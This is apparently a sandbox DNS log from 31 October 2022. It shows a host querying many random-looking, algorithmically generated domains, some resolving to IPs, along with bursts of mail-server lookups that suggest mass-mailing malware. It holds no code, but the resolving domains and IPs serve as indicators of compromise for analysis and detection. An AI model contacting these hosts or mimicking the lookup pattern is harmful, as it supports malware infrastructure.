Oct 31, 2022 12:20:32.740035057 CET	8.8.8.8	192.168.2.5	0x7deb	Name error (3)	ssmrnmspws.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.779261112 CET	8.8.8.8	192.168.2.5	0x7b33	Name error (3)	resmarqarn.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.780591011 CET	8.8.8.8	192.168.2.5	0x80d2	No error (0)	alt3.gmail-smtp-in.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.817650080 CET	8.8.8.8	192.168.2.5	0x7973	Name error (3)	mapasaqear.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.872436047 CET	8.8.8.8	192.168.2.5	0xc3c8	Name error (3)	qsepnwpmna.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:32.901082039 CET	8.8.8.8	192.168.2.5	0x5bd6	No error (0)	eshmhnprpa.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.208132982 CET	8.8.8.8	192.168.2.5	0x71b6	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.386157036 CET	8.8.8.8	192.168.2.5	0xe58e	Name error (3)	qrrmswemps.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.415776014 CET	8.8.8.8	192.168.2.5	0xc137	Name error (3)	hhsmeanamh.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.477665901 CET	8.8.8.8	192.168.2.5	0x1996	Name error (3)	qeraempash.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.491805077 CET	8.8.8.8	192.168.2.5	0x59f5	No error (0)	gmail-smtp-in.l.google.com		74.125.140.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.507047892 CET	8.8.8.8	192.168.2.5	0x5d4d	Name error (3)	wrpeasspnn.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.550987959 CET	8.8.8.8	192.168.2.5	0x2a86	Name error (3)	amqwpwewrs.com	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.555491924 CET	8.8.8.8	192.168.2.5	0xaa61	No error (0)	aspmx.l.google.com		74.125.133.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.591600895 CET	8.8.8.8	192.168.2.5	0x7cfa	Name error (3)	hewamrprrs.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.619995117 CET	8.8.8.8	192.168.2.5	0x4ca7	Name error (3)	nsneerhwrs.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.656663895 CET	8.8.8.8	192.168.2.5	0xa3b6	Name error (3)	wphhpmahqs.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.729218960 CET	8.8.8.8	192.168.2.5	0xd646	Name error (3)	nqrreahqrh.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.745541096 CET	8.8.8.8	192.168.2.5	0xed26	No error (0)	alt3.gmail-smtp-in.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.792478085 CET	8.8.8.8	192.168.2.5	0x2e15	Name error (3)	hhwhmwmaws.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.829132080 CET	8.8.8.8	192.168.2.5	0xcf16	Name error (3)	rphpaspqar.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.854976892 CET	8.8.8.8	192.168.2.5	0x498	Name error (3)	hrwswapann.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.924256086 CET	8.8.8.8	192.168.2.5	0x6510	Name error (3)	awharshhrh.com	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.963751078 CET	8.8.8.8	192.168.2.5	0x46c8	Name error (3)	sqmmqqssea.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:33.992924929 CET	8.8.8.8	192.168.2.5	0x7255	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.141.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:34.017424107 CET	8.8.8.8	192.168.2.5	0x36ac	No error (0)	rrnpamehwa.org		199.59.243.222	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:34.043932915 CET	8.8.8.8	192.168.2.5	0x8246	No error (0)	aspmx3.googlemail.com		142.250.157.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:34.499699116 CET	8.8.8.8	192.168.2.5	0xe8bf	No error (0)	gmail-smtp-in.l.google.com		74.125.140.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:35.213179111 CET	8.8.8.8	192.168.2.5	0xed0d	No error (0)	alt1.gmail-smtp-in.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:35.392371893 CET	8.8.8.8	192.168.2.5	0x4cc7	No error (0)	gzip.org			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:35.462503910 CET	8.8.8.8	192.168.2.5	0x9b3d	No error (0)	gzip.org		85.187.148.2	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:35.464955091 CET	8.8.8.8	192.168.2.5	0x7d53	No error (0)	alumni.caltech.edu			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:35.502358913 CET	8.8.8.8	192.168.2.5	0x5b90	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:35.502358913 CET	8.8.8.8	192.168.2.5	0x5b90	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:35.576953888 CET	8.8.8.8	192.168.2.5	0x13a9	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:35.646409988 CET	8.8.8.8	192.168.2.5	0xab29	No error (0)	nongnu.org			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:35.669836998 CET	8.8.8.8	192.168.2.5	0x8f09	No error (0)	eggs.gnu.org		209.51.188.92	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:36.096098900 CET	8.8.8.8	192.168.2.5	0xb3fa	No error (0)	alt1.gmail-smtp-in.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:36.674356937 CET	8.8.8.8	192.168.2.5	0x13a9	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:37.674669027 CET	8.8.8.8	192.168.2.5	0x13a9	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:39.595419884 CET	8.8.8.8	192.168.2.5	0xc05	No error (0)	nongnu.org			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:39.645159960 CET	8.8.8.8	192.168.2.5	0x37f0	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:39.645159960 CET	8.8.8.8	192.168.2.5	0x37f0	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:39.645159960 CET	8.8.8.8	192.168.2.5	0x37f0	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:39.645159960 CET	8.8.8.8	192.168.2.5	0x37f0	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:39.645159960 CET	8.8.8.8	192.168.2.5	0x37f0	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:39.652196884 CET	8.8.8.8	192.168.2.5	0x8af	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:39.652196884 CET	8.8.8.8	192.168.2.5	0x8af	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:39.652196884 CET	8.8.8.8	192.168.2.5	0x8af	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:39.652196884 CET	8.8.8.8	192.168.2.5	0x8af	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:39.652196884 CET	8.8.8.8	192.168.2.5	0x8af	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:39.667843103 CET	8.8.8.8	192.168.2.5	0x6299	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:39.676357031 CET	8.8.8.8	192.168.2.5	0x6593	No error (0)	aspmx3.googlemail.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:39.705647945 CET	8.8.8.8	192.168.2.5	0xcea2	No error (0)	riseup.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:39.707926989 CET	8.8.8.8	192.168.2.5	0xe3f3	No error (0)	eggs.gnu.org		209.51.188.92	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:39.729090929 CET	8.8.8.8	192.168.2.5	0xc050	No error (0)	mx1.riseup.net		198.252.153.129	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:40.183614016 CET	8.8.8.8	192.168.2.5	0xb6a2	No error (0)	aspmx2.googlemail.com		142.250.153.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:40.203073978 CET	8.8.8.8	192.168.2.5	0x73c1	No error (0)	alt3.gmail-smtp-in.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:40.593945980 CET	8.8.8.8	192.168.2.5	0x6bea	No error (0)	alt2.aspmx.l.google.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:41.086621046 CET	8.8.8.8	192.168.2.5	0x2774	No error (0)	gmail-smtp-in.l.google.com		74.125.140.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:41.097956896 CET	8.8.8.8	192.168.2.5	0x5679	No error (0)	alt1.aspmx.l.google.com		142.250.153.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:41.527244091 CET	8.8.8.8	192.168.2.5	0xc3e6	No error (0)	aspmx.l.google.com		142.250.147.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:41.602737904 CET	8.8.8.8	192.168.2.5	0x1ab3	No error (0)	alt4.gmail-smtp-in.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:43.853931904 CET	8.8.8.8	192.168.2.5	0x127c	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:43.853931904 CET	8.8.8.8	192.168.2.5	0x127c	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:43.853931904 CET	8.8.8.8	192.168.2.5	0x127c	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:43.853931904 CET	8.8.8.8	192.168.2.5	0x127c	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:43.853931904 CET	8.8.8.8	192.168.2.5	0x127c	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:43.875706911 CET	8.8.8.8	192.168.2.5	0x36ce	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.147.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:43.892800093 CET	8.8.8.8	192.168.2.5	0x46f1	No error (0)	mail.ru			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:43.914138079 CET	8.8.8.8	192.168.2.5	0x7f8d	No error (0)	mxs.mail.ru		94.100.180.31	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:43.914138079 CET	8.8.8.8	192.168.2.5	0x7f8d	No error (0)	mxs.mail.ru		217.69.139.150	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:44.409775972 CET	8.8.8.8	192.168.2.5	0x3345	No error (0)	alt3.gmail-smtp-in.l.google.com		173.194.202.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:46.043936014 CET	8.8.8.8	192.168.2.5	0xf597	No error (0)	alt1.gmail-smtp-in.l.google.com		142.250.153.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:46.250387907 CET	8.8.8.8	192.168.2.5	0x88e5	No error (0)	gmail-smtp-in.l.google.com		74.125.140.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:46.371042013 CET	8.8.8.8	192.168.2.5	0x5224	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:46.501503944 CET	8.8.8.8	192.168.2.5	0xd0b	No error (0)	gzip.org			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:46.563148975 CET	8.8.8.8	192.168.2.5	0x10a	No error (0)	gzip.org		85.187.148.2	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:46.824239016 CET	8.8.8.8	192.168.2.5	0x79b7	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.141.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:47.347696066 CET	8.8.8.8	192.168.2.5	0x5224	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:48.418245077 CET	8.8.8.8	192.168.2.5	0x5224	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:48.979650974 CET	8.8.8.8	192.168.2.5	0xad64	No error (0)	alt1.gmail-smtp-in.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:50.630481005 CET	8.8.8.8	192.168.2.5	0x3406	No error (0)	alumni.caltech.edu			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:50.729116917 CET	8.8.8.8	192.168.2.5	0x941	No error (0)	nongnu.org			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:50.788513899 CET	8.8.8.8	192.168.2.5	0x13d5	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:50.788513899 CET	8.8.8.8	192.168.2.5	0x13d5	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:50.945475101 CET	8.8.8.8	192.168.2.5	0xee0b	No error (0)	eggs.gnu.org		209.51.188.92	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:51.084718943 CET	8.8.8.8	192.168.2.5	0x42af	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:51.084718943 CET	8.8.8.8	192.168.2.5	0x42af	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:51.084718943 CET	8.8.8.8	192.168.2.5	0x42af	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:51.084718943 CET	8.8.8.8	192.168.2.5	0x42af	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:51.084718943 CET	8.8.8.8	192.168.2.5	0x42af	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:51.128732920 CET	8.8.8.8	192.168.2.5	0x172c	No error (0)	nongnu.org			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:51.141241074 CET	8.8.8.8	192.168.2.5	0xc6f5	No error (0)	aspmx3.googlemail.com		142.250.147.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:51.243191004 CET	8.8.8.8	192.168.2.5	0x477e	No error (0)	eggs.gnu.org		209.51.188.92	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:52.206696033 CET	8.8.8.8	192.168.2.5	0x347b	No error (0)	aspmx2.googlemail.com		142.250.153.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:53.839629889 CET	8.8.8.8	192.168.2.5	0x8c33	No error (0)	alt2.aspmx.l.google.com		142.250.147.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:54.296370029 CET	8.8.8.8	192.168.2.5	0xb099	No error (0)	ehnwnaqnss.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:54.472740889 CET	8.8.8.8	192.168.2.5	0x8977	No error (0)	aspmx.l.google.com		74.125.133.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:54.711071014 CET	8.8.8.8	192.168.2.5	0xd542	Name error (3)	rwmswamheh.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:54.737014055 CET	8.8.8.8	192.168.2.5	0x8411	Name error (3)	wwaprrwnwa.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:54.789825916 CET	8.8.8.8	192.168.2.5	0x6be1	Name error (3)	rrseshrqsn.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:54.816859961 CET	8.8.8.8	192.168.2.5	0x1179	Name error (3)	hqremeeheh.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:54.949513912 CET	8.8.8.8	192.168.2.5	0xae4e	No error (0)	aspamphaqh.com		81.17.29.147	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.056597948 CET	8.8.8.8	192.168.2.5	0x4916	Name error (3)	wereqmsnwh.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.083087921 CET	8.8.8.8	192.168.2.5	0x6e56	Name error (3)	nwspmnannr.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.110582113 CET	8.8.8.8	192.168.2.5	0x4bec	Name error (3)	swwmpphesa.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.145946980 CET	8.8.8.8	192.168.2.5	0x4651	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:55.145946980 CET	8.8.8.8	192.168.2.5	0x4651	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:55.145946980 CET	8.8.8.8	192.168.2.5	0x4651	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:55.145946980 CET	8.8.8.8	192.168.2.5	0x4651	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:55.145946980 CET	8.8.8.8	192.168.2.5	0x4651	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:55.149645090 CET	8.8.8.8	192.168.2.5	0x2938	Name error (3)	peerrrehen.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.168016911 CET	8.8.8.8	192.168.2.5	0x517a	No error (0)	gmail-smtp-in.l.google.com		74.125.140.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.182348013 CET	8.8.8.8	192.168.2.5	0xc75a	Name error (3)	sreeshwpmh.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.193120003 CET	8.8.8.8	192.168.2.5	0xbeb2	No error (0)	riseup.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:55.256678104 CET	8.8.8.8	192.168.2.5	0x7389	No error (0)	mx1.riseup.net		198.252.153.129	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.288585901 CET	8.8.8.8	192.168.2.5	0x59f9	No error (0)	mail.ru			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:55.290389061 CET	8.8.8.8	192.168.2.5	0xa43a	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:55.290389061 CET	8.8.8.8	192.168.2.5	0xa43a	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:55.290389061 CET	8.8.8.8	192.168.2.5	0xa43a	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:55.290389061 CET	8.8.8.8	192.168.2.5	0xa43a	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:55.290389061 CET	8.8.8.8	192.168.2.5	0xa43a	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:20:55.301947117 CET	8.8.8.8	192.168.2.5	0x58a4	Name error (3)	rnnnpannna.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.312693119 CET	8.8.8.8	192.168.2.5	0x16ff	No error (0)	mxs.mail.ru		94.100.180.31	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.312693119 CET	8.8.8.8	192.168.2.5	0x16ff	No error (0)	mxs.mail.ru		217.69.139.150	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.325423956 CET	8.8.8.8	192.168.2.5	0x759a	No error (0)	alt4.gmail-smtp-in.l.google.com		142.250.141.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.329183102 CET	8.8.8.8	192.168.2.5	0x71da	No error (0)	emqewenpsh.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.678520918 CET	8.8.8.8	192.168.2.5	0x268f	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.147.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.757261038 CET	8.8.8.8	192.168.2.5	0xc649	Name error (3)	penpnnehwa.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.785322905 CET	8.8.8.8	192.168.2.5	0x4757	Name error (3)	mnwqmqhrsh.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.820395947 CET	8.8.8.8	192.168.2.5	0x9ba8	Name error (3)	qhnhqesmnn.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.849869967 CET	8.8.8.8	192.168.2.5	0x9ce2	Name error (3)	wnnnqwpeea.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.884855032 CET	8.8.8.8	192.168.2.5	0x5f84	Name error (3)	rmpmspqhph.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.912018061 CET	8.8.8.8	192.168.2.5	0xd7ed	Name error (3)	mrwpmwnnra.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.939788103 CET	8.8.8.8	192.168.2.5	0xab3a	Name error (3)	nwaahharmh.us	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:55.969981909 CET	8.8.8.8	192.168.2.5	0xa088	Name error (3)	meseewppah.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:56.059149027 CET	8.8.8.8	192.168.2.5	0xf357	Name error (3)	rswnmhhsrh.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:56.091815948 CET	8.8.8.8	192.168.2.5	0xf28b	No error (0)	ersaenrnwh.ws		64.70.19.203	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:56.173979044 CET	8.8.8.8	192.168.2.5	0x85f5	No error (0)	alt1.aspmx.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:56.205557108 CET	8.8.8.8	192.168.2.5	0x1b66	No error (0)	alt1.gmail-smtp-in.l.google.com		142.250.153.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:56.524277925 CET	8.8.8.8	192.168.2.5	0xd6a0	Name error (3)	qsswqemmws.info	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:56.647707939 CET	8.8.8.8	192.168.2.5	0xebe4	Name error (3)	wnarpnqaqh.in	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:56.707377911 CET	8.8.8.8	192.168.2.5	0xc095	No error (0)	alt3.gmail-smtp-in.l.google.com		142.250.150.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:56.785193920 CET	8.8.8.8	192.168.2.5	0x79aa	Name error (3)	rmqsrpsqes.org	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:56.835087061 CET	8.8.8.8	192.168.2.5	0xb738	Name error (3)	henwwsahhh.net	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:56.892214060 CET	8.8.8.8	192.168.2.5	0xea97	No error (0)	ansenhrann.com		199.59.243.222	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:57.396265030 CET	8.8.8.8	192.168.2.5	0x7dbc	No error (0)	alt2.gmail-smtp-in.l.google.com		142.250.147.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:57.455954075 CET	8.8.8.8	192.168.2.5	0x3647	No error (0)	alt4.gmail-smtp-in.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:57.928786993 CET	8.8.8.8	192.168.2.5	0x1032	No error (0)	alt3.gmail-smtp-in.l.google.com		142.250.150.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:58.685291052 CET	8.8.8.8	192.168.2.5	0x8914	No error (0)	gmail-smtp-in.l.google.com		74.125.140.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:20:59.183103085 CET	8.8.8.8	192.168.2.5	0x8fb2	No error (0)	alt1.gmail-smtp-in.l.google.com		74.125.200.26	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:01.193152905 CET	8.8.8.8	192.168.2.5	0x8a89	No error (0)	gzip.org			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:01.217515945 CET	8.8.8.8	192.168.2.5	0x5e59	No error (0)	gzip.org		85.187.148.2	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:01.292692900 CET	8.8.8.8	192.168.2.5	0x122a	No error (0)	alumni.caltech.edu			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:01.299510002 CET	8.8.8.8	192.168.2.5	0x76e7	No error (0)	nongnu.org			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:01.321537018 CET	8.8.8.8	192.168.2.5	0x2a5f	No error (0)	eggs.gnu.org		209.51.188.92	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:01.455252886 CET	8.8.8.8	192.168.2.5	0x4283	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:01.455252886 CET	8.8.8.8	192.168.2.5	0x4283	No error (0)	alumni-caltech-edu.mail.protection.outlook.com		104.47.66.10	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:01.735126019 CET	8.8.8.8	192.168.2.5	0xfcf3	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:02.854388952 CET	8.8.8.8	192.168.2.5	0xfcf3	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:04.726818085 CET	8.8.8.8	192.168.2.5	0xfcf3	Server failure (2)	bog.msu.ru	none	none	MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:05.397170067 CET	8.8.8.8	192.168.2.5	0x3614	No error (0)	nongnu.org			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:05.442821026 CET	8.8.8.8	192.168.2.5	0xf4a0	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:05.442821026 CET	8.8.8.8	192.168.2.5	0xf4a0	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:05.442821026 CET	8.8.8.8	192.168.2.5	0xf4a0	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:05.442821026 CET	8.8.8.8	192.168.2.5	0xf4a0	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:05.442821026 CET	8.8.8.8	192.168.2.5	0xf4a0	No error (0)	kinoho.net			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:05.466470003 CET	8.8.8.8	192.168.2.5	0x7764	No error (0)	alt1.aspmx.l.google.com		74.125.200.27	A (IP address)	IN (0x0001)	false
Oct 31, 2022 12:21:05.490844011 CET	8.8.8.8	192.168.2.5	0xfbf8	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:05.490844011 CET	8.8.8.8	192.168.2.5	0xfbf8	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:05.490844011 CET	8.8.8.8	192.168.2.5	0xfbf8	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:05.490844011 CET	8.8.8.8	192.168.2.5	0xfbf8	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
Oct 31, 2022 12:21:05.490844011 CET	8.8.8.8	192.168.2.5	0xfbf8	No error (0)	gmail.com			MX (Mail exchange)	IN (0x0001)	false
